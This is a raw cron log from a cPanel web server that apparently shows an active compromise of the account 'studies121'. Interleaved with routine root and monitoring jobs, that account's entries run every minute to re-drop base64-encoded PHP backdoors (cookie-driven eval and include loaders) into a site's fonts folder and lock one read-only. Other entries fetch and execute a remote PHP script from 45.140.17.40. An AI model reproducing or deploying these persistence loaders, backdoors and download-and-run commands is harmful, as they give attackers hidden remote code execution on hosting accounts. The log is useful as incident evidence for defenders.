Sep  7 18:43:01 ip-184-168-122-23 CROND[32644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:43:01 ip-184-168-122-23 CROND[32645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:44:01 ip-184-168-122-23 CROND[319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:44:01 ip-184-168-122-23 CROND[317]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:44:01 ip-184-168-122-23 CROND[318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:44:01 ip-184-168-122-23 CROND[320]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 18:44:01 ip-184-168-122-23 CROND[321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:45:01 ip-184-168-122-23 CROND[438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:45:01 ip-184-168-122-23 CROND[440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:45:01 ip-184-168-122-23 CROND[441]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 18:45:01 ip-184-168-122-23 CROND[439]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:45:01 ip-184-168-122-23 CROND[442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:45:01 ip-184-168-122-23 CROND[443]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 18:46:01 ip-184-168-122-23 CROND[548]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 18:46:01 ip-184-168-122-23 CROND[546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:46:01 ip-184-168-122-23 CROND[547]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 18:46:01 ip-184-168-122-23 CROND[553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:46:01 ip-184-168-122-23 CROND[549]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:46:01 ip-184-168-122-23 CROND[551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:46:01 ip-184-168-122-23 CROND[552]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 18:47:01 ip-184-168-122-23 CROND[666]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:47:01 ip-184-168-122-23 CROND[670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:47:01 ip-184-168-122-23 CROND[669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:47:01 ip-184-168-122-23 CROND[672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:48:01 ip-184-168-122-23 CROND[777]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:48:01 ip-184-168-122-23 CROND[776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:48:01 ip-184-168-122-23 CROND[780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:48:01 ip-184-168-122-23 CROND[779]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 18:48:01 ip-184-168-122-23 CROND[778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:49:01 ip-184-168-122-23 CROND[868]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:49:01 ip-184-168-122-23 CROND[870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:49:01 ip-184-168-122-23 CROND[869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:49:01 ip-184-168-122-23 CROND[871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:50:01 ip-184-168-122-23 CROND[1057]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 18:50:01 ip-184-168-122-23 CROND[1058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:50:01 ip-184-168-122-23 CROND[1063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:50:01 ip-184-168-122-23 CROND[1068]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 18:50:01 ip-184-168-122-23 CROND[1067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:50:01 ip-184-168-122-23 CROND[1069]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 18:50:01 ip-184-168-122-23 CROND[1066]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 18:50:01 ip-184-168-122-23 CROND[1064]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 18:50:01 ip-184-168-122-23 CROND[1065]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:51:01 ip-184-168-122-23 CROND[1217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:51:01 ip-184-168-122-23 CROND[1218]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:51:01 ip-184-168-122-23 CROND[1219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:51:01 ip-184-168-122-23 CROND[1223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:52:01 ip-184-168-122-23 CROND[1383]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 18:52:01 ip-184-168-122-23 CROND[1386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:52:01 ip-184-168-122-23 CROND[1385]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:52:01 ip-184-168-122-23 CROND[1387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:52:01 ip-184-168-122-23 CROND[1388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:53:01 ip-184-168-122-23 CROND[1563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:53:01 ip-184-168-122-23 CROND[1562]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:53:01 ip-184-168-122-23 CROND[1564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:53:01 ip-184-168-122-23 CROND[1565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:54:01 ip-184-168-122-23 CROND[1658]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 18:54:01 ip-184-168-122-23 CROND[1660]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:54:01 ip-184-168-122-23 CROND[1661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:54:01 ip-184-168-122-23 CROND[1663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:54:01 ip-184-168-122-23 CROND[1659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:55:01 ip-184-168-122-23 CROND[1799]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:55:01 ip-184-168-122-23 CROND[1800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:55:01 ip-184-168-122-23 CROND[1802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
